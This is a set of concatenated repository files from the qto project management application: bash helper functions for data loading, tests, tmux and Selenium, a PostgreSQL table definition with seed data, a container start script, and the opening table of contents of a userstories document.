cmd="perl src/perl/qto/script/qto.pl --do xls-to-db --tables $tables" test -z ${xls_file} || cmd="$cmd --xls-file $xls_file" do_log "INFO using: mix_data_dir: ${mix_data_dir+}" do_log "INFO using xls_file: $xls_file" # Action !!! $cmd exit_code=$? # psql -d "$postgres_app_db" -c ' # SELECT id category , substring ( description from 0 for 40 ) as descrption , start_time , stop_time # FROM '"$tables"'_issues order by '"$items_order_by_attribute"' # ;'; do_log "INFO doRunQto exit_code $exit_code" test $exit_code -ne 0 && do_exit $exit_code "failed to run qto.pl" do_log "DEBUG STOP doXlsToDb" } # eof func doXlsToDb # eof file: src/bash/qto/funcs/xls-to-db.func.sh <file_sep># v0.5.8 # --------------------------------------------------------- # run all the js # --------------------------------------------------------- doRunJsUnitTests(){ which mocha 2>/dev/null || \ { sudo npm install -g --save-dev mocha echo >&2 "The mocha is missing - \"sudo npm install -g --save-dev mocha \" ! Aborting ..."; exit 1; } # sudo npm install -g --save-dev chrome-remote-interface # which chai 2>/dev/null || \ # { echo >&2 "The chai is missing - \"sudo npm install -g --save-dev chai \" ! Aborting ..."; exit 1; } source $PRODUCT_DIR/lib/bash/funcs/flush-screen.sh js_unit_tests_dir="$PRODUCT_DIR/src/js/node/js-unit-tests" cd $js_unit_tests_dir while read -r d ; do echo -e "cd to dir: $d" cd $d echo -e "installing packages for dir $d: \n" sleep 1 npm install do_flush_screen # clear the screen echo -e "test dir $d \n" sleep 1 npm test sleep 4 do_flush_screen done < <(find $js_unit_tests_dir -type d -name '0*-*'|sort) } <file_sep># source & courtesy of: # https://github.com/mislav/dotfiles/blob/master/bin/tmux-session # v0.5.8 # --------------------------------------------------------- # restores a tmux session # --------------------------------------------------------- doRestoreTmuxSession(){ source "$PRODUCT_DIR/src/bash/qto/funcs/sys/tmux/tmux-common.sh" doCheckTmuxIsInstalled set +e local count=0 local dimensions="$(terminal_size)" while IFS=$'\t' read session_name window_name dir; do if [[ -d "$dir" && $window_name != "log" && $window_name != "man" ]]; then # echo $session_name -- $window_name if session_exists "$session_name"; then add_window "$session_name" "$window_name" "$dir" else new_tmux_session "$session_name" "$window_name" "$dir" "$dimensions" count=$(( count + 1 )) fi fi done < ~/.tmux-session tmux list-sessions | column -t | sort } #eof func doRestoreTmuxSession <file_sep># src/bash/qto/funcs/start-selenium.func.sh # v1.0.9 # --------------------------------------------------------- # cat doc/txt/qto/funcs/start-selenium.func.txt # --------------------------------------------------------- doStartSelenium(){ do_log "DEBUG START doStartSelenium" selenium='/usr/lib/selenium-server-standalone.jar' chrome_driver=$(which chromedriver) test -f $(which java) || export exit_code=1 ; do_exit 1 " java is not installed. v1.8 required " test -f "$selenium" || export exit_code=1 ; do_exit 1 " the selenium jar $selenium is not installed" test -f "$chrome_driver" || export exit_code=1 ; do_exit 1 " the chrome driver: $chrome_driver is not installed" sleep "$sleep_interval" echo "clean-up before start " rm -rv /tmp/.X99-lock rm -vr /tmp/.*-lock rm -rv /tmp/.X* echo check for already running instances ps -ef | grep -i java # Action !!! xvfb-run -e /dev/stdout java -Dwebdriver.chrome.driver=$chrome_driver -jar "$selenium" & do_log "DEBUG STOP doStartSelenium" } # eof func doStartSelenium # eof file: src/bash/qto/funcs/start-selenium.func.sh <file_sep># src/bash/qto/funcs/remove-action-files.func.sh # v1.1.2 # --------------------------------------------------------- # obs we assume that the caller is in the PRODUCT_DIR # simply delete each file which greps finds to match to the action # name(s) configured in the : # src/bash/qto/tests/rem-qto-actions.lst # list file # --------------------------------------------------------- doRemoveActionFiles(){ do_log "DEBUG START doRemoveActionFiles" # for each defined action while read -r act ; do ( do_log "INFO STOP :: removing action: $act" find . | grep $act | cut -c 3- | xargs rm -fv "{}" for env in `echo dev tst prd src`; do perl -pi -e 's/^.*?'$act'.*\n$//gm' "met/.$env.";done; ); done< <(cat "src/bash//tests/rem--actions.lst") do_log "DEBUG STOP doRemoveActionFiles" } # eof func doRemoveActionFiles # eof file: src/bash/qto/funcs/remove-action-files.func.sh <file_sep>#!/bin/bash do_print_usage(){ # if $run_unit is --help, then message will be "--help deployer PURPOSE" cat << EOF_USAGE ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: This is a generic bash funcs runner script: ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: You can also execute one or multiple actions with the $0 --action <<action-name>> or $0 -a <<action-name>> -a <<action-name-02>> where the <<action-name>> is one of the following EOF_USAGE find src/bash/run/ -name *.func.sh \ | perl -ne 's/(.*)(\/)(.*).func.sh/$3/g;print'| perl -ne 's/-/_/g;print "do_" . $_' | sort exit 1 } <file_sep>-- v0.8.4 -- \echo 'If necessary, perform -- DROP TABLE IF EXISTS app_items;' -- \echo '5. Creating the app_items table' CREATE TABLE app_items ( guid UUID NOT NULL DEFAULT gen_random_uuid() , id bigserial UNIQUE , prio smallint NOT NULL DEFAULT 1 , name varchar (200) NOT NULL DEFAULT 'Item name' , ver varchar (10) NOT NULL DEFAULT '0.8.4' , description varchar (4000) DEFAULT '' , update_time timestamp DEFAULT DATE_TRUNC('second', NOW()) , CONSTRAINT pk_app_items_guid PRIMARY KEY (guid) ); CREATE UNIQUE INDEX idx_uniq_app_items_id ON app_items (id); -- \echo 'List columns of the created table app_items' SELECT attrelid::regclass, attnum, attname FROM pg_attribute WHERE attrelid='public.app_items'::regclass AND attnum>0 AND NOT attisdropped ORDER BY attnum; -- \echo 'Update time on every EXECUTE trigger:' CREATE TRIGGER trg_set_update_time_on_app_items BEFORE UPDATE ON app_items FOR EACH ROW EXECUTE PROCEDURE fnc_set_update_time(); SELECT tgname FROM pg_trigger WHERE NOT tgisinternal AND tgrelid='app_items'::regclass; -- -- TOC entry 3310 (class 0 OID 58960) -- Dependencies: 207 -- Data for Name: app_items; Type: TABLE DATA; Schema: public; Owner: usrtstqtoadmin -- COPY public.app_items (guid, id, prio, name, ver, description, update_time) FROM stdin; 1948aa5f-3007-4b0a-8c59-b1a5b5fbcff1 1 1 benchmarks 0.8.3 benchmarks 2020-04-12 18:14:53 71fc6f55-32f5-4ec9-ae7b-d552d6196ec8 2 1 category 0.8.3 category 2020-04-12 18:14:53 149a194d-b20e-44d5-b1a5-4fbd32e058ce 3 1 check_lists 0.8.3 check_lists 2020-04-12 18:14:53 bd992a20-1f72-48d6-a89c-5f321d812b76 4 1 concepts_doc 0.8.3 concepts_doc 2020-04-12 18:14:53 fc8c1ece-5804-4ea7-9d50-c4778f18cbe8 5 1 confs 0.8.3 confs 2020-04-12 18:14:53 b59fdeca-3eac-4cbb-93f7-13e488ec993e 6 1 daily_issues 0.8.3 daily_issues 2020-04-12 18:14:53 6bcf5612-c611-42f7-91d7-499e4abe3e04 7 1 decadally_issues 0.8.3 decadally_issues 2020-04-12 18:14:53 5347e5b6-c366-4779-9592-b85caadb4be7 9 1 devops_guide_doc 0.8.3 devops_guide_doc 2020-04-12 18:14:53 eca33c21-138c-4a2f-b907-3b1d117bea64 8 1 definitions_dictionary 0.8.3 definitions_dictionary 2020-04-12 18:14:53 a0149328-0a2f-42b1-8725-714233c40062 10 1 enduser_guide_doc 0.8.3 enduser_guide_doc 2020-04-12 18:14:53 12660a04-8e58-4094-acf2-477a58f524e8 11 1 export_files 0.8.3 export_files 2020-04-12 18:14:53 532a3298-e92d-4171-83fe-87402220f03a 12 1 features_doc 0.8.3 features_doc 2020-04-12 18:14:53 7a99c707-da32-43ac-88fb-475255ff6a56 13 1 goals 0.8.3 goals 2020-04-12 18:14:53 c26dd0e6-c934-4511-80ee-4e58406f47d0 14 1 his_quinquennially_issues 0.8.3 his_quinquennially_issues 2020-04-12 18:14:53 c8cb693b-1b96-49ff-8f24-6e4ea9dca2cb 15 1 ideas 0.8.3 ideas 2020-04-12 18:14:53 8683aa99-d848-4f36-99a9-0a6632a946d8 16 1 ideas_status 0.8.3 ideas_status 2020-04-12 18:14:53 aba02ad6-4d51-4ce7-8635-cad777b0e520 17 1 imgs 0.8.3 imgs 2020-04-12 18:14:53 33a1dc14-323f-4612-a899-6bc2c3518739 18 1 installations_doc 0.8.3 installations_doc 2020-04-12 18:14:53 8d2249c4-ec14-43e8-ac26-49699cd0cdff 19 1 issues_status 0.8.3 issues_status 2020-04-12 18:14:53 6c1c3bae-e51f-4fba-9f01-d41991d08be8 20 1 items_doc 0.8.3 items_doc 2020-04-12 18:14:53 4cd69b6b-a6ed-49f8-8a19-90fdf16201d7 21 1 app_items_roles_permissions 0.8.3 app_items_roles_permissions 2020-04-12 18:14:53 a2b659fc-5b8b-432e-a912-e3948eeee48a 22 1 links 0.8.3 links 2020-04-12 18:14:53 4e2523dc-8c74-4130-9c77-ed7a81ca456a 23 1 logs 0.8.3 logs 2020-04-12 18:14:53 60d46031-2164-42d6-b51c-16c0e801f5f1 24 1 maintenance_guide_doc 0.8.3 maintenance_guide_doc 2020-04-12 18:14:53 704c4d59-8cac-492f-a2d1-510e6dea888f 25 1 meta_cols 0.8.3 meta_cols 2020-04-12 18:14:53 3f839b5d-ad22-47d1-92df-e1cca19545fa 26 1 app_item_attributes 0.8.3 app_item_attributes 2020-04-12 18:14:53 1c1f8263-5451-42e1-aab6-7ba77a96d772 27 1 app_routes 0.8.3 app_routes 2020-04-12 18:14:53 c1773113-a314-4813-a1a3-15a10ad8bcc5 28 1 app_items 0.8.3 app_items 2020-04-12 18:14:53 384fbb48-3c4d-465f-b018-47797d2c674d 32 1 naming_conventions 0.8.3 naming_conventions 2020-04-12 18:14:53 44c0e077-1fc5-4719-afef-5d346458772e 33 1 nix_book_doc 0.8.3 nix_book_doc 2020-04-12 18:14:53 5b7a0d36-2c47-4bcf-91cf-9bb8a20627d6 34 1 onboarding_guide_doc 0.8.3 onboarding_guide_doc 2020-04-12 18:14:53 0b264bef-93c3-494a-a984-ef94ed673608 35 1 principles 0.8.3 principles 2020-04-12 18:14:53 7a51bf56-9a79-41af-b2be-bce883a5638c 36 1 problems 0.8.3 problems 2020-04-12 18:14:53 56278003-869f-431e-a607-7642bca24a61 37 1 questions 0.8.3 questions 2020-04-12 18:14:53 102898fb-2819-4608-85f4-1b1ff7417de3 38 1 questions_status 0.8.3 questions_status 2020-04-12 18:14:53 7612f252-e3f4-4327-be6a-3e57545a1cc4 39 1 quinquennially_issues 0.8.3 quinquennially_issues 2020-04-12 18:14:53 2ef44587-2708-45e5-9a7d-12dc49fc2c0a 40 1 quinquennially_issues_2020 0.8.3 quinquennially_issues_2020 2020-04-12 18:14:53 f6ab29ac-0dd6-4bc4-aa1e-9136bf6c0ecc 41 1 readme_doc 0.8.3 readme_doc 2020-04-12 18:14:53 35a80929-94ca-415a-83fe-abf2dee23c6f 42 1 release_issues 0.8.3 release_issues 2020-04-12 18:14:53 a94f0d86-3a73-470a-8fda-cb9f8239d62d 43 1 requirements_doc 0.8.3 requirements_doc 2020-04-12 18:14:53 6a418106-60b2-4ec9-a2e6-4fb9cec05499 44 1 app_roles 0.8.3 app_roles 2020-04-12 18:14:53 84ec1bac-94fc-43bd-9460-b20a8a89f360 45 1 security_checklist_doc 0.8.3 security_checklist_doc 2020-04-12 18:14:53 b73199d6-9942-433b-97ef-96bddebfae90 46 1 skills 0.8.3 skills 2020-04-12 18:14:53 3f69e913-d970-4b0a-8331-de1c6da38876 47 1 system_guide_doc 0.8.3 system_guide_doc 2020-04-12 18:14:53 efe9717d-ee1e-43d4-a5ee-abca2b8ad7fb 48 1 test_create_table 0.8.3 test_create_table 2020-04-12 18:14:53 140fbe29-60a2-44bd-8565-fc9bdb2e1e93 49 1 test_delete_table 0.8.3 test_delete_table 2020-04-12 18:14:53 dda6fa24-03d4-4ec5-ba5f-45266887db69 50 1 test_empty_table 0.8.3 test_empty_table 2020-04-12 18:14:53 7286578c-e718-4dde-adf5-0bf3c0679ab4 51 1 test_hi_create_table_doc 0.8.3 test_hi_create_table_doc 2020-04-12 18:14:53 6e9f4d86-977d-484b-ab11-0b37f6c3378e 52 1 test_hi_delete_table_doc 0.8.3 test_hi_delete_table_doc 2020-04-12 18:14:53 13eaf174-ed53-4fac-95a4-83c299a7c99e 53 1 test_hierarchy_doc 0.8.3 test_hierarchy_doc 2020-04-12 18:14:53 49f48fb0-b986-4b60-9ec1-b9b89751d083 54 1 test_item 0.8.3 test_item 2020-04-12 18:14:53 21f6a51f-185b-4a25-b8c3-6f02e302a7b5 55 1 test_truncate_table 0.8.3 test_truncate_table 2020-04-12 18:14:53 1ff08076-9d37-4317-a784-e0fb815f3609 56 1 test_update_table 0.8.3 test_update_table 2020-04-12 18:14:53 28dd337a-e57a-4db9-ab3c-8767501867bb 57 1 test_xls_to_db_table 0.8.3 test_xls_to_db_table 2020-04-12 18:14:53 a0be3c42-d2c0-4cd4-b17b-3bc499489f10 58 1 tst_paging 0.8.3 tst_paging 2020-04-12 18:14:53 48cfc41e-ec47-4c42-be7f-e22f40096051 59 1 app_user_roles 0.8.3 app_user_roles 2020-04-12 18:14:53 9fd98df3-711f-4f04-b187-88fe583efabe 61 1 userstories_doc 0.8.3 userstories_doc 2020-04-12 18:14:53 9d837a36-6aa5-42c7-8c4b-ac087c01d371 62 1 yearly_issues 0.8.3 yearly_issues 2020-04-12 18:14:53 d3886a74-83c0-4c1e-803e-5864c8c4d72b 63 1 yearly_issues_2018 0.8.3 yearly_issues_2018 2020-04-12 18:14:53 dc319bf8-8a77-4e4b-8b3a-0cea4fa3eaa4 64 1 yearly_issues_2019 0.8.3 yearly_issues_2019 2020-04-12 18:14:53 356056aa-cd4f-4e62-a61a-d06979a60591 200412203004 1 monthly_issues_202003 0.8.3 monthly_issues_202003 2020-04-12 18:14:53 7ff899c5-d9e2-44cb-99c6-eeb58498a668 30 1 monthly_issues_202001 0.8.3 monthly_issues_202001 2020-04-12 18:14:53 4ef7e5ff-145e-48c2-96fd-c085daa79b2d 200412203024 1 monthly_issues_202004 0.8.3 monthly_issues_202004 2020-04-12 18:14:53 38b4dde8-34d2-4261-92b8-d891b1bfd210 31 1 monthly_issues_202002 0.8.3 monthly_issues_202002 2020-04-12 18:14:53 ca053b66-acc3-4b25-8c53-d3b7ac825fc6 29 1 monthly_issues 0.8.3 monthly_issues 2020-04-12 18:14:53 bbe094a4-2255-45ef-af76-8880ead881c7 65 1 yearly_issues_2020 0.8.3 yearly_issues_2020 2020-04-12 18:14:56 bea09ac2-f835-43d3-9746-d5da2228d4b3 200419113429 1 problems_status 0.8.3 problems_status 2020-04-19 09:07:17 f9fecf76-c485-4cd8-8454-b25f0322d521 60 1 app_users 0.8.3 app_users 2020-04-19 21:08:56 39b3eba3-e262-4e06-872c-d3c5f6085075 200515003827 1 bugs 0.8.5 will hold the bugs in the system 2020-05-14 21:38:46 c6fe1378-0be4-41f5-9662-66983021816a 200511135541 1 app_items_doc 0.8.5 contins the howl menu ... 2020-05-11 10:55:56 c84a7013-19c8-470c-8f2d-c17b7d660fe6 200504204736 2 wow_doc 0.8.4 the way of working doc 2020-05-04 17:48:06 f5b4fd92-039b-46ec-a923-7d1638314373 200509025750 1 incidents 0.8.4 contains the incidents in the qto.fi system 2020-05-08 23:58:20 \. <file_sep># src/bash/qto/funcs/generate-action-files.help.sh # v1.0.9 # --------------------------------------------------------- # todo: add doHelpGenerateActionFiles comments ... # --------------------------------------------------------- doHelpGenerateActionFiles(){ do_log "DEBUG START doHelpGenerateActionFiles" cat doc/txt/qto/helps/generate-action-files.help.txt sleep "$sleep_interval" # add your action implementation code here ... # Action !!! do_log "DEBUG STOP doHelpGenerateActionFiles" } # eof func doHelpGenerateActionFiles # eof file: src/bash/qto/funcs/generate-action-files.help.sh <file_sep># src/bash/qto/funcs/create-ctags.help.sh # v1.0.9 # --------------------------------------------------------- # todo: add doHelpCreateCtags comments ... # --------------------------------------------------------- doHelpCreateCtags(){ do_log "DEBUG START doHelpCreateCtags" cat doc/txt/qto/helps/create-ctags.help.txt sleep 2 # add your action implementation code here ... do_log "DEBUG STOP doHelpCreateCtags" } # eof func doHelpCreateCtags # eof file: src/bash/qto/funcs/create-ctags.help.sh <file_sep>#!/usr/bin/env bash RUN_UNIT_bash_dir=$(perl -e 'use File::Basename; use Cwd "abs_path"; print dirname(abs_path(@ARGV[0]));' -- "$0") cd $RUN_UNIT_bash_dir for i in {1..5} ; do cd .. ; done ; export PRODUCT_DIR=`pwd`; source $PRODUCT_DIR/.env # comment out the sudo right from the app user perl -pi -e 's/^(.*)'"$USER"'(.*$\n)/\#$1'"$USER"'$2/gm' /etc/sudoers sudo sh /etc/init.d/postgresql start bash $PRODUCT_DIR/src/bash/qto/qto.sh -a run-pgsql-scripts # todo:ysg # run the DDL scripts # laad the data bash $PRODUCT_DIR/src/bash/qto/qto.sh -a mojo-morbo-start while true; do sleep 1000; done; <file_sep># USERSTORIES AND SCENARIOS * [1. INTRO](#1-intro) * [1.1. PURPOSE](#11-purpose) * [1.2. AUDIENCE](#12-audience) * [1.3. RELATED DOCUMENTATION](#13-related-documentation) * [2. COMMON UI PERSPECTIVE](#2-common-ui-perspective) * [2.1. UI PERFORMANCE](#21-ui-performance) * [2.2. FORM FACTORS](#22-form-factors) * [2.2.1. Desktop PC form factor UI](#221-desktop-pc-form-factor-ui) * [2.2.2. Tablets form factor UI](#222-tablets-form-factor-ui) * [2.2.3. Advanced Mobile phones form factor UI](#223-advanced-mobile-phones-form-factor-ui) * [2.3. THE OMNI-SEARCH FEATURE](#23-the-omni-search-feature) * [2.3.1. List as grid page quick filtering](#231-list-as-grid-page-quick-filtering) * [2.3.2. View page quick filtering](#232-view-page-quick-filtering) * [2.3.3. Search results page quick filtering](#233-search-results-page-quick-filtering) * [2.4. THE LEFT MENU UI - ORGANISING THE STRUCTURE OF THE PROJECT](#24-the-left-menu-ui--organising-the-structure-of-the-project) * [2.4.1. Opening and closing of the left menu](#241-opening-and-closing-of-the-left-menu) * [2.4.2. Managing listings from the left menu](#242-managing-listings-from-the-left-menu) * [2.4.3. Managing documents from the left menu](#243-managing-documents-from-the-left-menu) * [2.4.4. Managing folders on the left menu](#244-managing-folders-on-the-left-menu) * [2.4.5. Fixing the left menu](#245-fixing-the-left-menu) * [2.4.6. Drag to widen or shrink the left menu](#246-drag-to-widen-or-shrink-the-left-menu) * [2.5. THE LIST PAGE UI](#25-the-list-page-ui) * [2.5.1. Search in the list page](#251-search-in-the-list-page) * [2.5.2. Items listing](#252-items-listing) * [2.5.3. Items editing](#253-items-editing) * [2.5.3.1. Items editing inline](#2531-items-editing-inline) * [2.5.3.2. Items editing via a modal dialog](#2532-items-editing-via-a-modal-dialog) * [2.5.3.3. Items editing via dropbox](#2533-items-editing-via-dropbox) * [2.5.3.4. Items editing via calendar control](#2534-items-editing-via-calendar-control) * [2.5.3.5. Commenting on items](#2535-commenting-on-items) * [2.5.4. Items creation](#254-items-creation) * [2.5.5. Items deletion](#255-items-deletion) * [2.5.6. Items export](#256-items-export) * [2.5.7. Items import](#257-items-import) * [2.6. THE VIEW DOC PAGE UI](#26-the-view-doc-page-ui) * [2.6.1. View page navigation](#261-view-page-navigation) * [2.6.1.1. Title numbers link navigation and sharing](#2611-title-numbers-link-navigation-and-sharing) * [2.6.1.2. Title numbers link navigation and sharing](#2612-title-numbers-link-navigation-and-sharing) * [2.6.1.3. Access items by theirs ids](#2613-access-items-by-theirs-ids) * [2.6.1.4. Keyboard navigation and editing](#2614-keyboard-navigation-and-editing) * [2.6.1.4.1. Tabbing direction flow of tabbing](#26141-tabbing-direction-flow-of-tabbing) * [2.6.1.4.2. TOC keyboard navigation](#26142-toc-keyboard-navigation) * [2.6.1.4.3. Faster text editing when tabbing](#26143-faster-text-editing-when-tabbing) * [2.6.2. View doc page print preview](#262-view-doc-page-print-preview) * [2.6.2.1. Disable editing in print preview mode but keep the links](#2621-disable-editing-in-print-preview-mode-but-keep-the-links) * [2.6.2.2. Disable the right and left menus in print preview mode](#2622-disable-the-right-and-left-menus-in-print-preview-mode) * [2.6.3. Quick search in the view page ](#263-quick-search-in-the-view-page-) * [2.6.4. Hierarchical items management](#264-hierarchical-items-management) * [2.6.4.1. Add Item](#2641-add-item) * [2.6.4.2. Update item](#2642-update-item) * [2.6.4.2.1. Update item's title](#26421-update-item's-title) * [2.6.4.2.2. Update item's description](#26422-update-item's-description) * [2.6.4.2.2.1. Add interlinking in description](#264221-add-interlinking-in-description) * [2.6.4.2.3. Update item's src_code](#26423-update-item's-src_code) * [2.6.4.3. Delete item](#2643-delete-item) * [2.6.5. Move item in the hierarchy by drag and drop](#265-move-item-in-the-hierarchy-by-drag-and-drop) * [2.6.5.1. Move item in the hierarchy](#2651-move-item-in-the-hierarchy) * [2.6.5.2. Search in the right menu](#2652-search-in-the-right-menu) * [2.6.5.3. Links in the right menu](#2653-links-in-the-right-menu) * [2.6.6. Left menu navigation](#266-left-menu-navigation) * [2.6.7. Hierarchy management](#267-hierarchy-management) * [2.6.7.1. Single item move in the hierarchy ](#2671-single-item-move-in-the-hierarchy-) * [2.6.7.2. Single item move in the hierarchy ](#2672-single-item-move-in-the-hierarchy-) * [2.6.8. Pictures management in the view doc page](#268-pictures-management-in-the-view-doc-page) * [2.6.8.1. Add picture](#2681-add-picture) * [2.6.8.2. Edit picture](#2682-edit-picture) * [2.6.8.2.1. Resize picture](#26821-resize-picture) * [2.6.8.2.2. Move picture left and right in the item's paragraph](#26822-move-picture-left-and-right-in-the-item's-paragraph) * [2.6.8.3. Delete picture](#2683-delete-picture) * [2.6.9. Multimedia links management](#269-multimedia-links-management) * [2.6.9.1. Edit embedded multimedia link](#2691-edit-embedded-multimedia-link) * [2.6.9.2. Edit embedded multimedia link](#2692-edit-embedded-multimedia-link) * [2.6.9.3. Delete embedded multimedia link](#2693-delete-embedded-multimedia-link) * [2.7. THE GLOBAL SEARCH PAGE / THE SEARCH UI](#27-the-global-search-page-/-the-search-ui) * [2.7.1. Global search from the list page](#271-global-search-from-the-list-page) * [2.7.2. Global search from the view page](#272-global-search-from-the-view-page) * [2.7.3. Global search modal dialog ui](#273-global-search-modal-dialog-ui) * [2.7.3.1. Search-autocomplete on modal search dialog](#2731-search-autocomplete-on-modal-search-dialog) * [2.8. THE PRESS PAGE](#28-the-press-page) * [2.8.1. URL naming convention of the press page](#281-url-naming-convention-of-the-press-page) * [2.8.2. Articles listing from the press page DAILY](#282-articles-listing-from-the-press-page-daily) * [2.8.3. Articles listing from the press page MONTHLY](#283-articles-listing-from-the-press-page-monthly) * [2.8.4. Articles listing from the press page MONTHLY](#284-articles-listing-from-the-press-page-monthly) * [2.8.5. Accessing a single article / blog post by url](#285-accessing-a-single-article-/-blog-post-by-url) * [2.9. THE REPORT PAGE](#29-the-report-page) * [2.10. THE NOTES PAGE / UI](#210-the-notes-page-/-ui) * [2.11. THE CHAT UI](#211-the-chat-ui) * [2.12. MULTI-PROJECT AWARE UI](#212-multi-project-aware-ui) * [2.12.1. Items data transfer between different projects](#2121-items-data-transfer-between-different-projects) * [2.12.2. Items move](#2122-items-move) * [2.13. ISSUES IMPORT FROM GOOGLE CALENDAR](#213-issues-import-from-google-calendar) * [3. TEAM LEADER PERSPECTIVE](#3-team-leader-perspective) * [3.1. SECURITY](#31-security) * [3.1.1. Data security](#311-data-security) * [3.1.2. Roles management](#312-roles-management) * [3.1.3. Users management](#313-users-management) * [3.1.3.1. Users management in a project](#3131-users-management-in-a-project) * [3.1.3.2. Users management in a project](#3132-users-management-in-a-project) * [3.1.3.3. Personal data handling minimisation](#3133-personal-data-handling-minimisation) * [3.2. PROJECTS MANAGEMENT](#32-projects-management) * [3.2.1. Grant access per project](#321-grant-access-per-project) * [3.3. SECURE ACCESS TO DATA](#33-secure-access-to-data) * [3.3.1. Role based secure access to data per table or report for role](#331-role-based-secure-access-to-data-per-table-or-report-for-role) * [3.3.2. Role based secure access to data per row](#332-role-based-secure-access-to-data-per-row) * [3.4. TIME MANAGEMENT](#34-time-management) * [3.4.1. Closing of a period](#341-closing-of-a-period) * [3.4.2. Use monthly_issues status report](#342-use-monthly_issues-status-report) * [4. TEAM MEMBER BIZ PERSPECTIVE](#4-team-member-biz-perspective) * [4.1. ISSUES MANAGEMENT](#41-issues-management) * [4.1.1. Remove existing issues](#411-remove-existing-issues) * [4.1.2. Search for existing issues](#412-search-for-existing-issues) * [4.1.3. Track issues progress](#413-track-issues-progress) * [4.1.4. Track issues history](#414-track-issues-history) * [4.2. ITEMS MANAGEMENT](#42-items-management) * [4.3. ISSUES MANAGEMENT](#43-issues-management) * [4.3.1. Update existing Items](#431-update-existing-items) * [4.3.2. Remove existing Items](#432-remove-existing-items) * [4.3.3. Search for existing Items](#433-search-for-existing-items) * [4.3.4. Track Items progress](#434-track-items-progress) * [4.3.5. Track Items history](#435-track-items-history) * [4.4. TRACK ISSUES RELATIONS](#44-track-issues-relations) * [4.5. ITEMS MANAGEMENT](#45-items-management) * [4.6. MEASURE SUCCESS](#46-measure-success) * [4.7. MONITOR SUCCESS](#47-monitor-success) * [4.8. TRACK ISSUES RELATIONS](#48-track-issues-relations) * [4.9. TIME MANAGEMENT](#49-time-management) * [4.9.1. time centric planning](#491-time-centric-planning) * [4.9.2. time centric reporting](#492-time-centric-reporting) * [4.10. PROJECT'S PERSONS ISSUE COMBINATIONS](#410-project's-persons-issue-combinations) * [5. PROJECT OBSERVER BIZ PERSPECTIVE](#5-project-observer-biz-perspective) * [5.1. PROJECTS OBSERVATION](#51-projects-observation) * [5.2. MEASURE SUCCESS](#52-measure-success) * [5.3. ISSUES OBSERVATION](#53-issues-observation) * [5.4. MONITOR SUCCESS](#54-monitor-success) * [6. PRODUCT INSTANCE OWNER PERSPECTIVE](#6-product-instance-owner-perspective) * [6.1. SYSTEM DEPLOYABILITY](#61-system-deployability) * [6.2. TIME MANAGEMENT](#62-time-management) * [6.3. SYSTEM STABILITY](#63-system-stability) * [6.4. GENERIC CRUDS FOR ITEMS](#64-generic-cruds-for-items) * [6.5. SYSTEM RELIABILITY](#65-system-reliability) * [6.6. PROJECT'S PERSONS ISSUE COMBINATIONS](#66-project's-persons-issue-combinations) * [6.7. EASE OF USE](#67-ease-of-use) * [6.8. SECURITY](#68-security) * [6.8.1. Password strength security](#681-password-strength-security) * [6.8.2. Password reset enforceability](#682-password-reset-enforceability) * [6.8.3. Login info](#683-login-info) * [7. PROJECT OBSERVER BIZ PERSPECTIVE](#7-project-observer-biz-perspective) * [7.1. PROJECTS OBSERVATION](#71-projects-observation) * [7.1.1. Who logged in and out when](#711-who-logged-in-and-out-when) * [7.2. ISSUES OBSERVATION](#72-issues-observation) * [7.2.1. Who changed what and why](#721-who-changed-what-and-why) * [8. ETL AND INTEGRATIONS PERSPECTIVE](#8-etl-and-integrations-perspective) * [8.1. DATABASE TO JSON FILES DATA LOAD](#81-database-to-json-files-data-load) * [8.2. DATABASE METADATA EXPORT](#82-database-metadata-export) * [8.3. SYSTEM PERFORMANCE](#83-system-performance) * [8.4. JSON FILES TO DB DATA LOAD](#84-json-files-to-db-data-load) * [8.5. XLS-TO-POSTGRES-DB HIERARCHICAL DATA LOAD](#85-xls-to-postgres-db-hierarchical-data-load) * [8.5.1. error reporting in xls-to-postgres-db hierarchical data load ](#851-error-reporting-in-xls-to-postgres-db-hierarchical-data-load-) * [8.6. PROJECT DEPLOYMENT](#86-project-deployment) * [9. DEVOPS ENGINEER PERSPECTIVE](#9-devops-engineer-perspective) * [9.1. DOCUMENTATION](#91-documentation) * [9.2. ETL](#92-etl) * [9.2.1. Quick start documentation](#921-quick-start-documentation) * [9.2.2. Application's source code and documentation integrity](#922-application's-source-code-and-documentation-integrity) * [9.3. INSTALLATION](#93-installation) * [9.3.1. A single shell call installation](#931-a-single-shell-call-installation) * [9.3.2. A reliable installation documentation](#932-a-reliable-installation-documentation) * [9.4. TESTING](#94-testing) * [9.4.1. Clarity and brevity of the end to end tests](#941-clarity-and-brevity-of-the-end-to-end-tests) * [9.4.2. Databases - local to remote and remote to local sync](#942-databases--local-to-remote-and-remote-to-local-sync) * [9.4.3. Abort end-to-end tests on single test fail](#943-abort-end-to-end-tests-on-single-test-fail) * [9.4.4. Single shell call for e2e testing](#944-single-shell-call-for-e2e-testing) * [9.5. ETL](#95-etl) * [9.5.1. Database to json files data load](#951-database-to-json-files-data-load) * [9.5.2. Items data transformations](#952-items-data-transformations) * [9.5.3. Json files to db data load](#953-json-files-to-db-data-load) * [9.5.4. Xls-to-postgres-db hierarchical data load](#954-xls-to-postgres-db-hierarchical-data-load) * [9.5.5. Log entries format configuration](#955-log-entries-format-configuration) * [9.5.6. Tool run log to human readable description](#956-tool-run-log-to-human-readable-description) * [9.5.7. Components start run message print](#957-components-start-run-message-print) * [9.5.8. Tool exit with exit code and exit message](#958-tool-exit-with-exit-code-and-exit-message) * [9.6. RUN-TIME MANAGEMENT](#96-run-time-management) * [9.6.1. Logging](#961-logging) * [9.6.2. Single shell call for projects switching](#962-single-shell-call-for-projects-switching) * [9.6.3. Start and Stop of the Application](#963-start-and-stop-of-the-application) * [9.7. SECURITY](#97-security) * [9.7.1. Security modes](#971-security-modes) * [10. UI DEVELOPER PERSPECTIVE](#10-ui-developer-perspective) * [10.1. FOREIGN KEYS (FK) CONFIGURABILITY](#101-foreign-keys-(fk)-configurability) * [10.2. CODE TRACEABILITY BY UUID](#102-code-traceability-by-uuid) * [10.3. SINGLE SHELL CALL FOR PROJECTS SWITCHING](#103-single-shell-call-for-projects-switching) * [10.4. ISSUES PUBLISHING FROM SHELL CALLS](#104-issues-publishing-from-shell-calls) * [10.5. METADATA HANDLING](#105-metadata-handling) * [10.6. EASY SETUP FOR TESTABILITY](#106-easy-setup-for-testability) ## 1. INTRO ### 1.1. Purpose The purpose of this document is to present the userstories in the qto application for the version of this instance. Simply stated this is the document, in which any user gets to express their wishes towards the qto application, but in structurized manner. ### 